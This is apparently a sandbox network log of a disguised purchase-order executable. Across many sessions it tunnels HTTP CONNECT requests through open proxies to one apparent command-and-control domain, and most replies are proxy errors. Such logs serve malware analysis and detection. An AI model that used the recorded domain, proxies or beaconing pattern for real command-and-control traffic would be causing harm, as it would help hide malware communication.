Mar 11, 2024 16:42:22.082710981 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
724	192.168.2.11	52361	181.110.214.134	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.928148031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.641891003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.845135927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.909832954 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
725	192.168.2.11	52475	166.62.38.100	8730	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.928323030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.485574961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.188906908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
726	192.168.2.11	52377	83.238.80.15	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.928634882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.641861916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.845133066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.246711969 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
727	192.168.2.11	50234	216.176.187.99	8889	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.928718090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.032671928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.465962887 CET	68	IN	HTTP/1.1 200 Connection established Set-Cookie: SRV=S72; path=/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
728	192.168.2.11	52420	147.75.34.85	10007	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.929089069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.233320951 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
729	192.168.2.11	52452	146.19.106.193	12334	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.930335045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
730	192.168.2.11	52337	106.105.218.244	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.932837963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
731	192.168.2.11	52501	104.20.34.100	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.933059931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.087387085 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
732	192.168.2.11	51349	184.170.248.5	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.933705091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
733	192.168.2.11	52485	162.120.71.11	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.938041925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.172888994 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
734	192.168.2.11	49910	194.182.187.78	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.938374996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.256269932 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
735	192.168.2.11	51564	80.78.64.70	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.941709995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
736	192.168.2.11	52538	172.67.182.38	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.944582939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.099896908 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
737	192.168.2.11	52428	49.4.48.128	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.967327118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
738	192.168.2.11	52422	103.42.57.13	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.967488050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.751646042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.396085024 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
739	192.168.2.11	50182	208.109.14.49	42072	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.967715025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.985651016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.986613035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.985882998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.985836983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.079106092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.079294920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:34.081600904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:22.078999043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
740	192.168.2.11	52550	104.21.102.95	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.967756987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.122205019 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
741	192.168.2.11	51614	104.238.111.107	26305	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.967801094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.032638073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.058832884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.142410040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.141827106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.172852993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:58.188349962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
742	192.168.2.11	52439	167.71.5.83	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.994632006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.395019054 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
743	192.168.2.11	51571	177.55.247.41	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.997546911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.363342047 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 16:43:27.481175900 CET	208	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 836 Content-Type: text/html Date: Mon, 11 Mar 2024 15:43:27 GMT Expires: Mon, 11 Mar 2024 15:43:27 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
744	192.168.2.11	52354	124.163.236.54	7302	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.997786999 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
745	192.168.2.11	52434	37.235.48.19	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.997950077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
746	192.168.2.11	52503	23.19.244.109	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
